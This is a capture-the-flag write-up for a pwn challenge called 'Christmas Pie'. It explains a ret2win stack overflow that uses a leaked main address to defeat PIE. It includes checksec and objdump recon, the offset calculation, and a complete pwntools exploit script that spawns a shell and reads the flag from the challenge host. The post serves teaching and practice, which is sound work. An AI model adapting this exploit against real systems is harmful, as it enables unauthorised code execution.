Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Christmas Pie

CTF writeup for Christmas Pie from Vianu CTF

//Christmas Pie

>TL;DR

This is a classic ret2win stack overflow, but with PIE enabled.

The binary helpfully prints a leak of main (%p), so we compute the PIE base at runtime and jump to the hidden win() function.

win() calls execve("/bin/sh", ...), so we get code execution and can read the flag.

Final flag (remote): CTF{CHR1STM4S_P13_G1V3S_Y0U_SH3LL}


>Challenge files

  • christmas_pie (64-bit ELF)

No custom libc/ld were provided, so local testing uses system glibc.


>Step 1 — Recon / protections

I always start with a quick triage:

bash

file christmas_pie

checksec --file=christmas_pie

Key results (summarized):

  • Arch: amd64
  • PIE: enabled → code addresses are randomized each run
  • NX: enabled → no executing shellcode on the stack
  • Canary: none → direct stack overwrite is possible

This combination usually screams: “find an info leak or a function pointer overwrite, then do a ROP/ret2win.”


>Step 2 — First run (spot the leak)

Running the program shows a very interesting line:

Welcome to christmas PIE! Here's a little gift for you, the address of main: 0x...

That is exactly what we need to defeat PIE: a runtime pointer inside the binary.

Why this matters:

  • PIE means the binary base address changes every execution.
  • If we leak any address inside the binary (here: main), then:

$$\text{PIE_base} = \text{leaked_main} - \text{main_offset}$$

Once we know the PIE base, we can compute the real address of any function, including win().


>Step 3 — Static analysis (find the bug + win)

Next I inspect symbols/strings/disassembly:

bash

readelf -s christmas_pie | grep -E ' win$| vuln$| main$'

strings -n 6 christmas_pie

objdump -d -M intel christmas_pie | sed -n '/<vuln>:/,/^$/p'

objdump -d -M intel christmas_pie | sed -n '/<win>:/,/^$/p'

3.1 The win() function

The binary is not stripped, and there is a win symbol.

Disassembly shows win() prints a message and then calls execve("/bin/sh", ...).

So: if we can redirect control flow to win(), we’ll spawn a shell.

3.2 The vulnerability (vuln())

The vulnerable pattern is clear in the disassembly:

  • stack frame allocates 0x50 bytes
  • it then does read(0, rbp-0x50, 0x100)

That means the program reads up to 256 bytes into a 80-byte stack buffer → classic overflow.


>Step 4 — Calculate the overflow offset

From the function prologue:

  • buffer starts at [rbp - 0x50]
  • saved return address is at [rbp + 0x8]

So distance from buffer start to saved RIP is:

$$0x50 + 0x8 = 0x58$$

So the payload shape is:

'A' * 0x58 + new_RIP

>Step 5 — Exploit strategy (ret2win with PIE)

We combine everything:

  1. Receive leak of main printed by the program.
  2. Compute PIE base using symbol offsets from the local ELF.
  3. Compute runtime address of win().
  4. Overflow stack and overwrite saved RIP with win().

Why there’s a ret gadget

On amd64, stack alignment sometimes matters (System V AMD64 ABI). Some libc routines (or functions called beneath) can crash if the stack is misaligned.

A common “belt-and-suspenders” fix is to insert a single ret gadget before win():

payload = 'A'*0x58 + ret + win

This is cheap and increases reliability across environments.


>Step 6 — Local success

Run the exploit locally:

bash

python3 solve.py

Expected behavior:

  • script parses the main leak
  • computes PIE base + win address
  • overflows vuln() and calls win()
  • win() runs /bin/sh

In my testing, local execution reached:

Ho Ho Ho! You found the win function!

>Step 7 — Remote success (non-interactive)

Remote provided:

bash

nc 34.159.68.68 31001

The solver is automated and non-interactive (good for infra / unstable shells):

bash

python3 solve.py REMOTE -q

What it does after spawning /bin/sh:

  • sends cat flag*; cat /flag; exit
  • captures all output
  • regex-extracts and prints the first CTF{...}

Remote output:

CTF{CHR1STM4S_P13_G1V3S_Y0U_SH3LL}

>Full solver code

solve.py

python

#!/usr/bin/env python3

from pwn import *

import re

exe = "./christmas_pie"

context.binary = ELF(exe, checksec=False)

# From vuln(): local buffer at rbp-0x50, saved RIP at rbp+8 => 0x58 bytes

OFFSET = 0x58

def start():

    if args.REMOTE:

        # Challenge remote defaults (override via HOST/PORT)

        host = args.HOST or "34.159.68.68"

        port = int(args.PORT or 31001)

        return remote(host, port)

    return process(exe)

def leak_main(io: tube) -> int:

    io.recvuntil(b"address of main: ")

    line = io.recvline().strip()

    m = re.search(rb"0x[0-9a-fA-F]+", line)

    if not m:

        raise ValueError(f"Failed to parse main leak from: {line!r}")

    return int(m.group(0), 16)

def build_payload(main_leak: int) -> bytes:

    elf = context.binary

    elf.address = main_leak - elf.sym["main"]

    rop = ROP(elf)

    ret = rop.find_gadget(["ret"]).address  # align stack for x86_64 ABI

    win = elf.sym["win"]

    log.info(f"main leak = {hex(main_leak)}")

    log.info(f"PIE base  = {hex(elf.address)}")

    log.info(f"ret       = {hex(ret)}")

    log.info(f"win       = {hex(win)}")

    return flat(

        b"A" * OFFSET,

        ret,

        win,

    )

def main():

    io = start()

    main_leak = leak_main(io)

    payload = build_payload(main_leak)

    io.recvuntil(b"Tell Santa your wish: ")

    io.send(payload)

    # Non-interactive mode: try to grab the flag and exit.

    # Override command via CMD='...'

    cmd = (args.CMD or "cat flag* 2>/dev/null; cat /flag 2>/dev/null; exit").encode()

    try:

        # Important: don't send shell commands until AFTER vuln()'s read() has

        # returned, otherwise the command bytes can be consumed by the overflow.

        io.recvuntil(b"Merry Christmas!", timeout=2)

        io.recvuntil(b"win function!", timeout=2)

    except Exception:

        pass

    io.sendline(cmd)

    data = b""

    try:

        data = io.recvall(timeout=3)

    except Exception:

        pass

    m = re.search(rb"CTF\\{[^\\n\\r}]*\\}", data)

    if m:

        print(m.group(0).decode(errors="replace"))

    else:

        # Fallback: print whatever we got (useful for debugging)

        try:

            print(data.decode(errors="replace"))

        except Exception:

            print(repr(data))

if __name__ == "__main__":

    main()

>How I got the idea / thought process

This challenge title and banner basically tell you the intended path:

  • “PIE” in the title hints you’ll need to deal with PIE randomization.
  • The program literally gives “a little gift” by leaking a PIE address.

Then the standard exploitation checklist applies:

  • No canary → stack smashing is viable.
  • NX enabled → use ROP/ret2win rather than injected shellcode.
  • Non-stripped binary → look for a win() symbol.
  • Leak present → compute PIE base and jump to win.

>References